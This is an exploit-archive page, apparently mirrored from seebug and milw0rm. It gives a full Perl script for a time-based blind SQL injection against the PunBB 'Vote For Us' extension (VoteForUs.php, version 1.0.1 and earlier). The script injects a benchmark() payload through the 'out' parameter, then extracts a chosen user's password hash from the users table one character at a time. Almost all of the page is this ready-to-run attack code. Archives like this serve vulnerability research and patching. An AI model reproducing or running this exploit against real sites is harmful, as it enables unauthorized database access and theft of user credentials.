Lucene search
K

PunBB Extension Vote For Us <= 1.0.1 - Blind SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

PunBB Extension Vote For Us <= 1.0.1 - Blind SQL Injection Exploit by Dante90, WaRWolFz Crew. Exploit performs blind SQL injection into VoteForUs.php

Code

                                                #!/usr/bin/perl
#[0-Day] PunBB VoteForUs.php OUT Mod &#60;= v1.0.1 Remote Blind SQL Injection Exploit
#Coded By Dante90, WaRWolFz Crew
#Bug Discovered By: Dante90, WaRWolFz Crew
#Download: http://www.punres.org/desc.php?pid=378

use strict;
use LWP::UserAgent;

use HTTP::Request::Common;
use Time::HiRes;
use IO::Socket;

my ($Hash,$Time,$Time_Start,$Time_End,$Response);
my($Start,$End);
my @chars = (48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
my $Host = &#34;http://www.victime_site.org/path/&#34;; #Insert Victime Web Site Link
my $id  = shift or &usage;
my $Method = HTTP::Request-&#62;new(GET =&#62; $Host);
my $HTTP = new LWP::UserAgent;
my $Referrer = &#34;http://warwolfz.altervista.org/&#34;;
my $DefaultTime = request($Referrer);

sub Blind_SQL_Jnjection{
    my ($dec,$hex) = @_;
    return &#34;./voteforus.php?out=-1+OR+1!=(SELECT IF((ASCII(SUBSTRING(`password`,${dec},1))=${hex}),benchmark(200000000,CHAR(0)),0) FROM `users` WHERE `id`=${id})/*&#34;;
}

for(my $I=1; $I&#60;=40; $I++){ #N Hash characters
    for(my $J=0; $J&#60;=15; $J++){ #0 -&#62; F
        $Time_Start = time();
        $HTTP-&#62;get($Host.Blind_SQL_Jnjection($I,$chars[$J]));
        $Time_End = time();
        $Time = request($Referrer);
        refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
        if($Time_End - $Time_Start &#62; 6){
            $Time = request($Referrer);
            refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
            if($Time_End - $Time_Start &#62; 6){
                syswrite(STDOUT,chr($chars[$J]));
                $Hash .= chr($chars[$J]);
                $Time = request($Referrer);
                refresh($Host, $DefaultTime, $J, $Hash, $Time, $I);
                last;
            }
        }
    }
    if($I == 1 && length $Hash &#60; 0 && !$Hash){
        print &#34; * Exploit Failed                                      *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        exit;
    }
    if($I == 40){
        print &#34; * Exploit Successed                                   *\n&#34;;
        print &#34; ------------------------------------------------------\n &#34;;
        system(&#34;pause&#34;);
    }
}

sub usage{
    system(&#34;cls&#34;);
    {
        print &#34; \n [0-Day] PunBB VoteForUs.php OUT Mod &#60;= v1.0.1 Remote Blind SQL Injection Exploit\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; * USAGE:                                             *\n&#34;;
        print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n&#34;;
        print &#34; * perl name_exploit.pl [id]                          *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; *         Powered By Dante90, WaRWolFz Crew          *\n&#34;;
        print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
    };
    exit;
}

sub request{
    $Referrer = $_[0];
    $Method-&#62;referrer($Referrer);
    $Start = Time::HiRes::time();
    $Response = $HTTP-&#62;request($Method);
    $Response-&#62;is_success() or die &#34;$Host : &#34;, $Response-&#62;message,&#34;\n&#34;;
    $End = Time::HiRes::time();
    $Time = $End - $Start;
    return $Time;
}

sub refresh{
    system(&#34;cls&#34;);
    {
        print &#34; \n [0-Day] PunBB VoteForUs.php OUT Mod &#60;= v1.0.1 Remote Blind SQL Injection Exploit\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; * USAGE:                                             *\n&#34;;
        print &#34; * cd [Local Disk]:\\[Directory Of Exploit]\\           *\n&#34;;
        print &#34; * perl name_exploit.pl [uid]                         *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
        print &#34; *         Powered By Dante90, WaRWolFz Crew          *\n&#34;;
        print &#34; * www.warwolfz.org - dante90_founder[at]warwolfz.org *\n&#34;;
        print &#34; ------------------------------------------------------ \n&#34;;
    };
    print &#34; * Victime Site: &#34; . $_[0] . &#34;\n&#34;;
    print &#34; * Default Time: &#34; . $_[1] . &#34; seconds\n&#34;;
    print &#34; * BruteForcing Hash: &#34; . chr($chars[$_[2]]) . &#34;\n&#34;;
    print &#34; * BruteForcing N Char Hash: &#34; . $_[5] . &#34;\n&#34;;
    print &#34; * SQL Time: &#34; . $_[4] . &#34; seconds\n&#34;;
    print &#34; * Hash: &#34; . $_[3] . &#34;\n&#34;;
}

#WaRWolFz Crew

# milw0rm.com [2009-06-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
11